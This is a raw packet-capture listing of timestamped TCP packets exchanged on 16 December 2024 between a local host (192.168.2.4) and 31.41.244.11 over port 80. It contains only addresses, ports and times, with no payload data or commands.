Dec 16, 2024 21:02:36.357971907 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.358010054 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.358089924 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.358901024 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.358947039 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.359024048 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.359961987 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.360016108 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.360169888 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.360223055 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.360920906 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.360992908 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.361020088 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.361072063 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.361941099 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.361994028 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.362082958 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.362138033 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.362950087 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.363002062 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.363065958 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.363127947 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.363938093 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.363991976 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.364046097 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.364097118 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.365144968 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.365196943 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.365227938 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.365278959 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.366008997 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.366061926 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.366061926 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.366115093 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.366966009 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.367017031 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.367069960 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.367120981 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.367965937 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.368022919 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.368069887 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.368128061 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.368984938 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.369059086 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.369112968 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.369160891 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.370026112 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.370081902 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.370214939 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.370340109 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.371000051 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.371052980 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.371102095 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.371150970 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.372021914 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.372073889 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.372111082 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.372162104 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.513179064 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.513204098 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.513254881 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.513303041 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.513525963 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.513628006 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.513676882 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.514205933 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.514345884 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.514458895 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.514729023 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.515203953 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.515264034 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.515301943 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.515376091 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.516236067 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.516297102 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.516345024 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.516424894 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.517222881 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.517277956 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.517359972 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.517411947 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.518263102 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.518445015 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.518503904 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.519285917 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.519366980 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.519423962 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.520297050 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.520351887 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.520416021 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.520471096 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.521334887 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.521399975 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.521609068 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.522281885 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.522341967 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.522389889 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.522454977 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.523271084 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.523348093 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.523359060 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.523394108 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.524338007 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.524399996 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.524424076 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.524471998 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.525352955 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.525434017 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.525446892 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.525495052 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.526321888 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.526391983 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.526427984 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.526509047 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.527373075 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.527442932 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.527488947 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.527666092 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.528342962 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.528409958 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.528454065 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.528486013 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.529329062 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.529396057 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.529443026 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.529541016 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.530364037 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.530432940 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.530500889 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.531352997 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.531491041 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.531514883 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.531559944 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.532350063 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.532413006 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.532465935 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.532514095 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.533385992 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.533448935 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.533488035 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.533540010 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.534384012 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.534445047 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.534496069 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.534543991 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.535408020 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.535491943 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.535505056 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.535551071 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.536418915 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.536484003 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.536531925 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.536578894 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.537496090 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.537556887 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.537579060 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.537637949 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.538454056 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.538512945 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.538558006 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.538645983 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.539416075 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.539478064 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.539534092 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.539581060 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.540424109 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.540489912 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.540580988 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.540941954 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.541421890 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.541485071 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.541527033 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.542424917 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.542546988 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.542596102 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.543498039 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.543554068 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.543637037 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.543752909 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.544467926 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.544528961 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.544615984 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.544670105 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.545531034 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.545617104 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.545727968 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.545778990 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.546471119 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.546547890 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.546602011 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.546726942 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.547496080 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.547554016 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.547601938 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.547678947 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.548512936 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.548580885 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.548629045 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.549513102 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.549567938 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.549622059 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.549666882 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.550517082 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.550570965 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.550622940 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.551542997 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.551641941 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.551665068 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.551872015 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.552500963 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.552526951 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.552587032 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.553535938 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.553572893 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.553586006 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.553616047 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.554528952 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.554594040 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.554635048 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.554682970 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.555521965 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.555659056 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.555706024 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.556546926 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.556668043 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.556734085 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.557545900 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.557600021 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.557652950 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.557775021 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.558577061 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.558620930 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.558646917 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.558701038 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.559568882 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.559631109 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.559673071 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.559715986 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.560621977 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.560668945 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.560713053 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.560770035 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.561588049 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.561674118 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.561707020 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.561755896 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.562588930 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.562649965 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.562699080 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.562743902 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.563606024 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.563673019 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.563707113 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.563751936 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.564600945 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.564650059 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.564667940 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.564714909 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.565639019 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.565685034 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.705419064 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.705488920 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.705492020 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.705621958 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.705835104 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.705890894 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.705949068 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.706123114 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.706669092 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.706723928 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.706743956 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.706793070 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.707639933 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.707711935 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.707756996 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.708659887 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.708713055 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.708723068 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.708755016 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.709656000 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.709743977 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.709758997 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.709801912 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.710741997 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.710804939 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.710834026 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.710938931 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.711642027 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.711709023 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.711730957 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.711776018 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.712667942 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.712724924 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.712739944 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.712798119 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.713660002 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.713716984 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.713772058 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.713888884 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.714637041 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.714718103 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.714725971 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.714771032 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.715658903 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.715717077 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.715764046 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.715810061 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.716689110 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.716738939 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.716790915 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.716840029 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.717675924 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.717727900 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.717806101 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.717850924 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.718667030 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.718720913 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.718800068 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.718849897 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.719691992 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.719738960 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.719794035 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.719847918 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.720768929 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.720824003 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.720824957 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.720868111 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.721714973 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.721775055 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.721828938 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.721873999 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.722739935 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.722799063 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.722852945 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.722965956 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.723730087 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.723783016 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.723849058 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.724011898 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.724775076 CET	80	49812	31.41.244.11	192.168.2.4
